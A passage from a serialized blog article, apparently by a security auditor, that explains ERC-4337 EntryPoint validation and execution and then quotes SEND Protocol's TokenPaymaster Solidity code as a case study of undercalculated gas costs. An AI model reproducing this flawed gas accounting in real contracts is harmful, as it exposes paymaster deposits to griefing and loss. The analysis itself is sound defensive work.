costs",{"type":25,"tag":26,"props":115685,"children":115686},{},[115687,115689,115694,115696,115701],{"type":30,"value":115688},"Only after all these validation checks pass will the ",{"type":25,"tag":264,"props":115690,"children":115692},{"className":115691},[],[115693],{"type":30,"value":115357},{"type":30,"value":115695}," move on to actually executing the ",{"type":25,"tag":264,"props":115697,"children":115699},{"className":115698},[],[115700],{"type":30,"value":115276},{"type":30,"value":115702},". This strict validation flow ensures that:",{"type":25,"tag":108,"props":115704,"children":115705},{},[115706,115711,115716,115721],{"type":25,"tag":112,"props":115707,"children":115708},{},[115709],{"type":30,"value":115710},"The operation is legitimate and authorized by the user",{"type":25,"tag":112,"props":115712,"children":115713},{},[115714],{"type":30,"value":115715},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":25,"tag":112,"props":115717,"children":115718},{},[115719],{"type":30,"value":115720},"The operation cannot be replayed",{"type":25,"tag":112,"props":115722,"children":115723},{},[115724],{"type":30,"value":115725},"All involved contracts (sender and paymaster) have approved the execution",{"type":25,"tag":26,"props":115727,"children":115728},{},[115729],{"type":30,"value":115730},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":25,"tag":247,"props":115732,"children":115734},{"id":115733},"execution-phase",[115735],{"type":30,"value":115736},"Execution Phase",{"type":25,"tag":26,"props":115738,"children":115739},{},[115740,115742,115747,115749,115756,115758,115763],{"type":30,"value":115741},"After all operations have passed validation, the ",{"type":25,"tag":264,"props":115743,"children":115745},{"className":115744},[],[115746],{"type":30,"value":115357},{"type":30,"value":115748}," begins the ",{"type":25,"tag":83,"props":115750,"children":115753},{"href":115751,"rel":115752},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[9066],[115754],{"type":30,"value":115755},"execution",{"type":30,"value":115757}," phase, processing each ",{"type":25,"tag":264,"props":115759,"children":115761},{"className":115760},[],[115762],{"type":30,"value":115276},{"type":30,"value":115764}," individually. For each operation, the flow is:",{"type":25,"tag":661,"props":115766,"children":115767},{},[115768,115828,115874],{"type":25,"tag":112,"props":115769,"children":115770},{},[115771,115772,115777,115779,115785,115786,115792,115794],{"type":30,"value":10272},{"type":25,"tag":264,"props":115773,"children":115775},{"className":115774},[],[115776],{"type":30,"value":115357},{"type":30,"value":115778}," makes a ",{"type":25,"tag":83,"props":115780,"children":115783},{"href":115781,"rel":115782},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[9066],[115784],{"type":30,"value":51406},{"type":30,"value":69891},{"type":25,"tag":264,"props":115787,"children":115789},{"className":115788},[],[115790],{"type":30,"value":115791},"innerHandleOp()",{"type":30,"value":115793},", which:\n",{"type":25,"tag":108,"props":115795,"children":115796},{},[115797,115809,115814],{"type":25,"tag":112,"props":115798,"children":115799},{},[115800,115807],{"type":25,"tag":83,"props":115801,"children":115804},{"href":115802,"rel":115803},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[9066],[115805],{"type":30,"value":115806},"Forwards",{"type":30,"value":115808}," the operation to the sender's smart account contract",{"type":25,"tag":112,"props":115810,"children":115811},{},[115812],{"type":30,"value":115813},"Executes the intended transaction(s) within the smart account",{"type":25,"tag":112,"props":115815,"children":115816},{},[115817,115819,115826],{"type":30,"value":115818},"Handles ",{"type":25,"tag":83,"props":115820,"children":115823},{"href":115821,"rel":115822},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[9066],[115824],{"type":30,"value":115825},"post-execution",{"type":30,"value":115827}," tasks and cleanup",{"type":25,"tag":112,"props":115829,"children":115830},{},[115831,115833,115839,115841,115847,115848,115854,115856],{"type":30,"value":115832},"If a paymaster was used, ",{"type":25,"tag":264,"props":115834,"children":115836},{"className":115835},[],[115837],{"type":30,"value":115838},"Entrypoint",{"type":30,"value":115840}," will ",{"type":25,"tag":83,"props":115842,"children":115845},{"href":115843,"rel":115844},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[9066],[115846],{"type":30,"value":51406},{"type":30,"value":14096},{"type":25,"tag":264,"props":115849,"children":115851},{"className":115850},[],[115852],{"type":30,"value":115853},"paymaster.postOp()",{"type":30,"value":115855}," to:\n",{"type":25,"tag":108,"props":115857,"children":115858},{},[115859,115864,115869],{"type":25,"tag":112,"props":115860,"children":115861},{},[115862],{"type":30,"value":115863},"Allow paymaster to finalize its accounting",{"type":25,"tag":112,"props":115865,"children":115866},{},[115867],{"type":30,"value":115868},"Process any refunds or additional charges",{"type":25,"tag":112,"props":115870,"children":115871},{},[115872],{"type":30,"value":115873},"Complete any paymaster-specific logic",{"type":25,"tag":112,"props":115875,"children":115876},{},[115877,115879,115884,115885,115892,115894],{"type":30,"value":115878},"Finally, after all operations are processed, the ",{"type":25,"tag":264,"props":115880,"children":115882},{"className":115881},[],[115883],{"type":30,"value":115357},{"type":30,"value":14096},{"type":25,"tag":83,"props":115886,"children":115889},{"href":115887,"rel":115888},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[9066],[115890],{"type":30,"value":115891},"compensates",{"type":30,"value":115893}," the bundler for:\n",{"type":25,"tag":108,"props":115895,"children":115896},{},[115897,115902,115907],{"type":25,"tag":112,"props":115898,"children":115899},{},[115900],{"type":30,"value":115901},"Gas costs from executing all operations",{"type":25,"tag":112,"props":115903,"children":115904},{},[115905],{"type":30,"value":115906},"Overhead from submitting the batch transaction",{"type":25,"tag":112,"props":115908,"children":115909},{},[115910],{"type":30,"value":115911},"Any unused gas, which is refunded",{"type":25,"tag":26,"props":115913,"children":115914},{},[115915],{"type":30,"value":115916},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":25,"tag":26,"props":115918,"children":115919},{},[115920,115922,115927,115929,115935,115937,115942],{"type":30,"value":115921},"Now that we understand how the ",{"type":25,"tag":264,"props":115923,"children":115925},{"className":115924},[],[115926],{"type":30,"value":115357},{"type":30,"value":115928}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":25,"tag":264,"props":115930,"children":115932},{"className":115931},[],[115933],{"type":30,"value":115934},"paymasters",{"type":30,"value":115936}," that align with the ",{"type":25,"tag":264,"props":115938,"children":115940},{"className":115939},[],[115941],{"type":30,"value":115357},{"type":30,"value":115943},"'s execution model, leading to potential vulnerabilities.",{"type":25,"tag":48484,"props":115945,"children":115947},{"id":115946},"common-pitfalls-in-paymaster-implementation",[115948],{"type":30,"value":115949},"Common Pitfalls in Paymaster Implementation",{"type":25,"tag":26,"props":115951,"children":115952},{},[115953,115955,115960],{"type":30,"value":115954},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":25,"tag":264,"props":115956,"children":115958},{"className":115957},[],[115959],{"type":30,"value":115357},{"type":30,"value":115961}," to exploitation or griefing.",{"type":25,"tag":26,"props":115963,"children":115964},{},[115965,115967,115972],{"type":30,"value":115966},"In this section, we’ll walk through the ",{"type":25,"tag":38,"props":115968,"children":115969},{},[115970],{"type":30,"value":115971},"two most common pitfalls",{"type":30,"value":115973}," we’ve observed in real-world paymaster implementations:",{"type":25,"tag":96,"props":115975,"children":115977},{"id":115976},"undercalculated-gas-costs",[115978],{"type":25,"tag":38,"props":115979,"children":115980},{},[115981],{"type":30,"value":115982},"Undercalculated Gas Costs",{"type":25,"tag":26,"props":115984,"children":115985},{},[115986,115988,115993,115995,116000,116002,116007,116009,116016],{"type":30,"value":115987},"To understand this issue, let's first examine how gas penalties work in the ",{"type":25,"tag":264,"props":115989,"children":115991},{"className":115990},[],[115992],{"type":30,"value":115357},{"type":30,"value":115994},". When a ",{"type":25,"tag":264,"props":115996,"children":115998},{"className":115997},[],[115999],{"type":30,"value":115276},{"type":30,"value":116001}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":25,"tag":264,"props":116003,"children":116005},{"className":116004},[],[116006],{"type":30,"value":115357},{"type":30,"value":116008}," charges a ",{"type":25,"tag":83,"props":116010,"children":116013},{"href":116011,"rel":116012},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[9066],[116014],{"type":30,"value":116015},"penalty of 10%",{"type":30,"value":116017}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":25,"tag":26,"props":116019,"children":116020},{},[116021],{"type":30,"value":116022},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":25,"tag":7764,"props":116024,"children":116026},{"className":17606,"code":116025,"language":17605,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n",[116027],{"type":25,"tag":264,"props":116028,"children":116029},{"__ignoreMap":7},[116030,116074,116081,116138,116146,116154,116196,116203,116215,116237,116258,116288,116339,116369,116390,116428,116467,116484,116523,116547,116564,116607,116629,116646,116663,116670,116677,116703,116720,116755,116786,116798,116845,116852,116859,116866,116933,116940,116947,116954,116965,116984,117003,117067,117090,117123,117138,117173,117181,117220,117245,117266,117274,117301,117328,117336,117344,117386,117393,117400,117424,117440,117447,117454,117472,117485,117492,117500],{"type":25,"tag":271,"props":116031,"children":116032},{"class":13593,"line":13594},[116033,116037,116042,116047,116052,116056,116061,116065,116070],{"type":25,"tag":271,"props":116034,"children":116035},{"style":14289},[116036],{"type":30,"value":102926},{"type":25,"tag":271,"props":116038,"children":116039},{"style":13609},[116040],{"type":30,"value":116041}," TokenPaymaster",{"type":25,"tag":271,"props":116043,"children":116044},{"style":14289},[116045],{"type":30,"value":116046}," is",{"type":25,"tag":271,"props":116048,"children":116049},{"style":13609},[116050],{"type":30,"value":116051}," BasePaymaster",{"type":25,"tag":271,"props":116053,"children":116054},{"style":13625},[116055],{"type":30,"value":44},{"type":25,"tag":271,"props":116057,"children":116058},{"style":13609},[116059],{"type":30,"value":116060},"UniswapHelper",{"type":25,"tag":271,"props":116062,"children":116063},{"style":13625},[116064],{"type":30,"value":44},{"type":25,"tag":271,"props":116066,"children":116067},{"style":13609},[116068],{"type":30,"value":116069},"OracleHelper",{"type":25,"tag":271,"props":116071,"children":116072},{"style":13625},[116073],{"type":30,"value":16431},{"type":25,"tag":271,"props":116075,"children":116076},{"class":13593,"line":11641},[116077],{"type":25,"tag":271,"props":116078,"children":116079},{"style":13625},[116080],{"type":30,"value":23442},{"type":25,"tag":271,"props":116082,"children":116083},{"class":13593,"line":14354},[116084,116088,116093,116097,116102,116107,116112,116116,116121,116125,116129,116134],{"type":25,"tag":271,"props":116085,"children":116086},{"style":14289},[116087],{"type":30,"value":102943},{"type":25,"tag":271,"props":116089,"children":116090},{"style":13620},[116091],{"type":30,"value":116092}," _validatePaymasterUserOp",{"type":25,"tag":271,"props":116094,"children":116095},{"style":13625},[116096],{"type":30,"value":394},{"type":25,"tag":271,"props":116098,"children":116099},{"style":14289},[116100],{"type":30,"value":116101},"PackedUserOperation",{"type":25,"tag":271,"props":116103,"children":116104},{"style":14289},[116105],{"type":30,"value":116106}," calldata",{"type":25,"tag":271,"props":116108,"children":116109},{"style":13598},[116110],{"type":30,"value":116111}," userOp",{"type":25,"tag":271,"props":116113,"children":116114},{"style":13625},[116115],{"type":30,"value":44},{"type":25,"tag":271,"props":116117,"children":116118},{"style":13609},[116119],{"type":30,"value":116120},"bytes32",{"type":25,"tag":271,"props":116122,"children":116123},{"style":13625},[116124],{"type":30,"value":44},{"type":25,"tag":271,"props":116126,"children":116127},{"style":13609},[116128],{"type":30,"value":59283},{"type":25,"tag":271,"props":116130,"children":116131},{"style":13598},[116132],{"type":30,"value":116133}," requiredPreFund",{"type":25,"tag":271,"props":116135,"children":116136},{"style":13625},[116137],{"type":30,"value":16299},{"type":25,"tag":271,"props":116139,"children":116140},{"class":13593,"line":14391},[116141],{"type":25,"tag":271,"props":116142,"children":116143},{"style":14289},[116144],{"type":30,"value":116145},"        internal\n",{"type":25,"tag":271,"props":116147,"children":116148},{"class":13593,"line":14400},[116149],{"type":25,"tag":271,"props":116150,"children":116151},{"style":14289},[116152],{"type":30,"value":116153},"        override\n",{"type":25,"tag":271,"props":116155,"children":116156},{"class":13593,"line":16406},[116157,116162,116166,116170,116175,116179,116183,116187,116192],{"type":25,"tag":271,"props":116158,"children":116159},{"style":16171},[116160],{"type":30,"value":116161},"        returns",{"type":25,"tag":271,"props":116163,"children":116164},{"style":13625},[116165],{"type":30,"value":16213},{"type":25,"tag":271,"props":116167,"children":116168},{"style":13609},[116169],{"type":30,"value":96941},{"type":25,"tag":271,"props":116171,"children":116172},{"style":14289},[116173],{"type":30,"value":116174}," memory",{"type":25,"tag":271,"props":116176,"children":116177},{"style":13598},[116178],{"type":30,"value":89456},{"type":25,"tag":271,"props":116180,"children":116181},{"style":13625},[116182],{"type":30,"value":44},{"type":25,"tag":271,"props":116184,"children":116185},{"style":13609},[116186],{"type":30,"value":59283},{"type":25,"tag":271,"props":116188,"children":116189},{"style":13598},[116190],{"type":30,"value":116191}," validationResult",{"type":25,"tag":271,"props":116193,"children":116194},{"style":13625},[116195],{"type":30,"value":16299},{"type":25,"tag":271,"props":116197,"children":116198},{"class":13593,"line":16434},[116199],{"type":25,"tag":271,"props":116200,"children":116201},{"style":13625},[116202],{"type":30,"value":42299},{"type":25,"tag":271,"props":116204,"children":116205},{"class":13593,"line":16447},[116206,116211],{"type":25,"tag":271,"props":116207,"children":116208},{"style":16171},[116209],{"type":30,"value":116210},"        unchecked",{"type":25,"tag":271,"props":116212,"children":116213},{"style":13625},[116214],{"type":30,"value":16431},{"type":25,"tag":271,"props":116216,"children":116217},{"class":13593,"line":16465},[116218,116223,116228,116232],{"type":25,"tag":271,"props":116219,"children":116220},{"style":13609},[116221],{"type":30,"value":116222},"            uint256",{"type":25,"tag":271,"props":116224,"children":116225},{"style":13625},[116226],{"type":30,"value":116227}," priceMarkup ",{"type":25,"tag":271,"props":116229,"children":116230},{"style":13603},[116231],{"type":30,"value":1065},{"type":25,"tag":271,"props":116233,"children":116234},{"style":13625},[116235],{"type":30,"value":116236}," tokenPaymasterConfig.priceMarkup;\n",{"type":25,"tag":271,"props":116238,"children":116239},{"class":13593,"line":16486},[116240,116244,116249,116253],{"type":25,"tag":271,"props":116241,"children":116242},{"style":13609},[116243],{"type":30,"value":116222},{"type":25,"tag":271,"props":116245,"children":116246},{"style":13625},[116247],{"type":30,"value":116248}," baseFee ",{"type":25,"tag":271,"props":116250,"children":116251},{"style":13603},[116252],{"type":30,"value":1065},{"type":25,"tag":271,"props":116254,"children":116255},{"style":13625},[116256],{"type":30,"value":116257}," tokenPaymasterConfig.baseFee;\n",{"type":25,"tag":271,"props":116259,"children":116260},{"class":13593,"line":16495},[116261,116265,116270,116274,116279,116283],{"type":25,"tag":271,"props":116262,"children":116263},{"style":13609},[116264],{"type":30,"value":116222},{"type":25,"tag":271,"props":116266,"children":116267},{"style":13625},[116268],{"type":30,"value":116269}," dataLength ",{"type":25,"tag":271,"props":116271,"children":116272},{"style":13603},[116273],{"type":30,"value":1065},{"type":25,"tag":271,"props":116275,"children":116276},{"style":13625},[116277],{"type":30,"value":116278}," userOp.paymasterAndData.length ",{"type":25,"tag":271,"props":116280,"children":116281},{"style":13603},[116282],{"type":30,"value":17459},{"type":25,"tag":271,"props":116284,"children":116285},{"style":13625},[116286],{"type":30,"value":116287}," PAYMASTER_DATA_OFFSET;\n",{"type":25,"tag":271,"props":116289,"children":116290},{"class":13593,"line":16744},[116291,116296,116301,116305,116309,116313,116317,116321,116326,116330,116335],{"type":25,"tag":271,"props":116292,"children":116293},{"style":16171},[116294],{"type":30,"value":116295},"            require",{"type":25,"tag":271,"props":116297,"children":116298},{"style":13625},[116299],{"type":30,"value":116300},"(dataLength ",{"type":25,"tag":271,"props":116302,"children":116303},{"style":13603},[116304],{"type":30,"value":21696},{"type":25,"tag":271,"props":116306,"children":116307},{"style":16187},[116308],{"type":30,"value":16190},{"type":25,"tag":271,"props":116310,"children":116311},{"style":13603},[116312],{"type":30,"value":36807},{"type":25,"tag":271,"props":116314,"children":116315},{"style":13625},[116316],{"type":30,"value":116269},{"type":25,"tag":271,"props":116318,"children":116319},{"style":13603},[116320],{"type":30,"value":21696},{"type":25,"tag":271,"props":116322,"children":116323},{"style":16187},[116324],{"type":30,"value":116325}," 32",{"type":25,"tag":271,"props":116327,"children":116328},{"style":13625},[116329],{"type":30,"value":44},{"type":25,"tag":271,"props":116331,"children":116332},{"style":17388},[116333],{"type":30,"value":116334},"\"TPM: invalid data length\"",{"type":25,"tag":271,"props":116336,"children":116337},{"style":13625},[116338],{"type":30,"value":13665},{"type":25,"tag":271,"props":116340,"children":116341},{"class":13593,"line":16761},[116342,116346,116351,116355,116360,116365],{"type":25,"tag":271,"props":116343,"children":116344},{"style":13609},[116345],{"type":30,"value":116222},{"type":25,"tag":271,"props":116347,"children":116348},{"style":13625},[116349],{"type":30,"value":116350}," maxFeePerGas ",{"type":25,"tag":271,"props":116352,"children":116353},{"style":13603},[116354],{"type":30,"value":1065},{"type":25,"tag":271,"props":116356,"children":116357},{"style":13625},[116358],{"type":30,"value":116359}," userOp.",{"type":25,"tag":271,"props":116361,"children":116362},{"style":13620},[116363],{"type":30,"value":116364},"unpackMaxFeePerGas",{"type":25,"tag":271,"props":116366,"children":116367},{"style":13625},[116368],{"type":30,"value":16820},{"type":25,"tag":271,"props":116370,"children":116371},{"class":13593,"line":16778},[116372,116376,116381,116385],{"type":25,"tag":271,"props":116373,"children":116374},{"style":13609},[116375],{"type":30,"value":116222},{"type":25,"tag":271,"props":116377,"children":116378},{"style":13625},[116379],{"type":30,"value":116380}," refundPostopCost ",{"type":25,"tag":271,"props":116382,"children":116383},{"style":13603},[116384],{"type":30,"value":1065},{"type":25,"tag":271,"props":116386,"children":116387},{"style":13625},[116388],{"type":30,"value":116389}," tokenPaymasterConfig.refundPostopCost;\n",{"type":25,"tag":271,"props":116391,"children":116392},{"class":13593,"line":16791},[116393,116397,116402,116406,116410,116415,116419,116424],{"type":25,"tag":271,"props":116394,"children":116395},{"style":16171},[116396],{"type":30,"value":116295},{"type":25,"tag":271,"props":116398,"children":116399},{"style":13625},[116400],{"type":30,"value":116401},"(refundPostopCost ",{"type":25,"tag":271,"props":116403,"children":116404},{"style":13603},[116405],{"type":30,"value":14307},{"type":25,"tag":271,"props":116407,"children":116408},{"style":13625},[116409],{"type":30,"value":116359},{"type":25,"tag":271,"props":116411,"children":116412},{"style":13620},[116413],{"type":30,"value":116414},"unpackPostOpGasLimit",{"type":25,"tag":271,"props":116416,"children":116417},{"style":13625},[116418],{"type":30,"value":31497},{"type":25,"tag":271,"props":116420,"children":116421},{"style":17388},[116422],{"type":30,"value":116423},"\"TPM: postOpGasLimit too low\"",{"type":25,"tag":271,"props":116425,"children":116426},{"style":13625},[116427],{"type":30,"value":13665},{"type":25,"tag":271,"props":116429,"children":116430},{"class":13593,"line":16800},[116431,116435,116440,116444,116449,116453,116458,116462],{"type":25,"tag":271,"props":116432,"children":116433},{"style":13609},[116434],{"type":30,"value":116222},{"type":25,"tag":271,"props":116436,"children":116437},{"style":13625},[116438],{"type":30,"value":116439}," preChargeNative ",{"type":25,"tag":271,"props":116441,"children":116442},{"style":13603},[116443],{"type":30,"value":1065},{"type":25,"tag":271,"props":116445,"children":116446},{"style":13625},[116447],{"type":30,"value":116448}," requiredPreFund ",{"type":25,"tag":271,"props":116450,"children":116451},{"style":13603},[116452],{"type":30,"value":2074},{"type":25,"tag":271,"props":116454,"children":116455},{"style":13625},[116456],{"type":30,"value":116457}," (refundPostopCost ",{"type":25,"tag":271,"props":116459,"children":116460},{"style":13603},[116461],{"type":30,"value":17702},{"type":25,"tag":271,"props":116463,"children":116464},{"style":13625},[116465],{"type":30,"value":116466}," maxFeePerGas);\n",{"type":25,"tag":271,"props":116468,"children":116469},{"class":13593,"line":16823},[116470,116475,116479],{"type":25,"tag":271,"props":116471,"children":116472},{"style":14385},[116473],{"type":30,"value":116474},"            // ",{"type":25,"tag":271,"props":116476,"children":116477},{"style":14289},[116478],{"type":30,"value":79874},{"type":25,"tag":271,"props":116480,"children":116481},{"style":14385},[116482],{"type":30,"value":116483},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":25,"tag":271,"props":116485,"children":116486},{"class":13593,"line":16832},[116487,116491,116496,116500,116505,116509,116514,116518],{"type":25,"tag":271,"props":116488,"children":116489},{"style":13609},[116490],{"type":30,"value":116222},{"type":25,"tag":271,"props":116492,"children":116493},{"style":13625},[116494],{"type":30,"value":116495}," cachedPriceWithMarkup ",{"type":25,"tag":271,"props":116497,"children":116498},{"style":13603},[116499],{"type":30,"value":1065},{"type":25,"tag":271,"props":116501,"children":116502},{"style":13625},[116503],{"type":30,"value":116504}," cachedPrice ",{"type":25,"tag":271,"props":116506,"children":116507},{"style":13603},[116508],{"type":30,"value":17702},{"type":25,"tag":271,"props":116510,"children":116511},{"style":13625},[116512],{"type":30,"value":116513}," DENOM ",{"type":25,"tag":271,"props":116515,"children":116516},{"style":13603},[116517],{"type":30,"value":7621},{"type":25,"tag":271,"props":116519,"children":116520},{"style":13625},[116521],{"type":30,"value":116522}," priceMarkup;\n",{"type":25,"tag":271,"props":116524,"children":116525},{"class":13593,"line":16841},[116526,116530,116535,116539,116543],{"type":25,"tag":271,"props":116527,"children":116528},{"style":16171},[116529],{"type":30,"value":71916},{"type":25,"tag":271,"props":116531,"children":116532},{"style":13625},[116533],{"type":30,"value":116534}," (dataLength ",{"type":25,"tag":271,"props":116536,"children":116537},{"style":13603},[116538],{"type":30,"value":21696},{"type":25,"tag":271,"props":116540,"children":116541},{"style":16187},[116542],{"type":30,"value":116325},{"type":25,"tag":271,"props":116544,"children":116545},{"style":13625},[116546],{"type":30,"value":27925},{"type":25,"tag":271,"props":116548,"children":116549},{"class":13593,"line":16907},[116550,116555,116560],{"type":25,"tag":271,"props":116551,"children":116552},{"style":13609},[116553],{"type":30,"value":116554},"                uint256",{"type":25,"tag":271,"props":116556,"children":116557},{"style":13625},[116558],{"type":30,"value":116559}," clientSuppliedPrice ",{"type":25,"tag":271,"props":116561,"children":116562},{"style":13603},[116563],{"type":30,"value":27814},{"type":25,"tag":271,"props":116565,"children":116566},{"class":13593,"line":16915},[116567,116572,116576,116580,116585,116589,116594,116598,116602],{"type":25,"tag":271,"props":116568,"children":116569},{"style":13609},[116570],{"type":30,"value":116571},"                    uint256",{"type":25,"tag":271,"props":116573,"children":116574},{"style":13625},[116575],{"type":30,"value":394},{"type":25,"tag":271,"props":116577,"children":116578},{"style":13609},[116579],{"type":30,"value":116120},{"type":25,"tag":271,"props":116581,"children":116582},{"style":13625},[116583],{"type":30,"value":116584},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":25,"tag":271,"props":116586,"children":116587},{"style":13603},[116588],{"type":30,"value":359},{"type":25,"tag":271,"props":116590,"children":116591},{"style":13625},[116592],{"type":30,"value":116593},"PAYMASTER_DATA_OFFSET ",{"type":25,"tag":271,"props":116595,"children":116596},{"style":13603},[116597],{"type":30,"value":2074},{"type":25,"tag":271,"props":116599,"children":116600},{"style":16187},[116601],{"type":30,"value":116325},{"type":25,"tag":271,"props":116603,"children":116604},{"style":13625},[116605],{"type":30,"value":116606},"]));\n",{"type":25,"tag":271,"props":116608,"children":116609},{"class":13593,"line":16945},[116610,116615,116620,116624],{"type":25,"tag":271,"props":116611,"children":116612},{"style":16171},[116613],{"type":30,"value":116614},"                if",{"type":25,"tag":271,"props":116616,"children":116617},{"style":13625},[116618],{"type":30,"value":116619}," (clientSuppliedPrice ",{"type":25,"tag":271,"props":116621,"children":116622},{"style":13603},[116623],{"type":30,"value":14307},{"type":25,"tag":271,"props":116625,"children":116626},{"style":13625},[116627],{"type":30,"value":116628}," cachedPriceWithMarkup) {\n",{"type":25,"tag":271,"props":116630,"children":116631},{"class":13593,"line":16953},[116632,116637,116641],{"type":25,"tag":271,"props":116633,"children":116634},{"style":14385},[116635],{"type":30,"value":116636},"                    // ",{"type":25,"tag":271,"props":116638,"children":116639},{"style":14289},[116640],{"type":30,"value":79874},{"type":25,"tag":271,"props":116642,"children":116643},{"style":14385},[116644],{"type":30,"value":116645},": smaller number means 'more native asset per token'\n",{"type":25,"tag":271,"props":116647,"children":116648},{"class":13593,"line":16984},[116649,116654,116658],{"type":25,"tag":271,"props":116650,"children":116651},{"style":13625},[116652],{"type":30,"value":116653},"                    cachedPriceWithMarkup ",{"type":25,"tag":271,"props":116655,"children":116656},{"style":13603},[116657],{"type":30,"value":1065},{"type":25,"tag":271,"props":116659,"children":116660},{"style":13625},[116661],{"type":30,"value":116662}," clientSuppliedPrice;\n",{"type":25,"tag":271,"props":116664,"children":116665},{"class":13593,"line":16992},[116666],{"type":25,"tag":271,"props":116667,"children":116668},{"style":13625},[116669],{"type":30,"value":84185},{"type":25,"tag":271,"props":116671,"children":116672},{"class":13593,"line":17052},[116673],{"type":25,"tag":271,"props":116674,"children":116675},{"style":13625},[116676],{"type":30,"value":72000},{"type":25,"tag":271,"props":116678,"children":116679},{"class":13593,"line":22168},[116680,116684,116689,116693,116698],{"type":25,"tag":271,"props":116681,"children":116682},{"style":13609},[116683],{"type":30,"value":116222},{"type":25,"tag":271,"props":116685,"children":116686},{"style":13625},[116687],{"type":30,"value":116688}," tokenAmount ",{"type":25,"tag":271,"props":116690,"children":116691},{"style":13603},[116692],{"type":30,"value":1065},{"type":25,"tag":271,"props":116694,"children":116695},{"style":13620},[116696],{"type":30,"value":116697}," weiToToken",{"type":25,"tag":271,"props":116699,"children":116700},{"style":13625},[116701],{"type":30,"value":116702},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":25,"tag":271,"props":116704,"children":116705},{"class":13593,"line":22186},[116706,116711,116715],{"type":25,"tag":271,"props":116707,"children":116708},{"style":13625},[116709],{"type":30,"value":116710},"            tokenAmount ",{"type":25,"tag":271,"props":116712,"children":116713},{"style":13603},[116714],{"type":30,"value":81552},{"type":25,"tag":271,"props":116716,"children":116717},{"style":13625},[116718],{"type":30,"value":116719}," 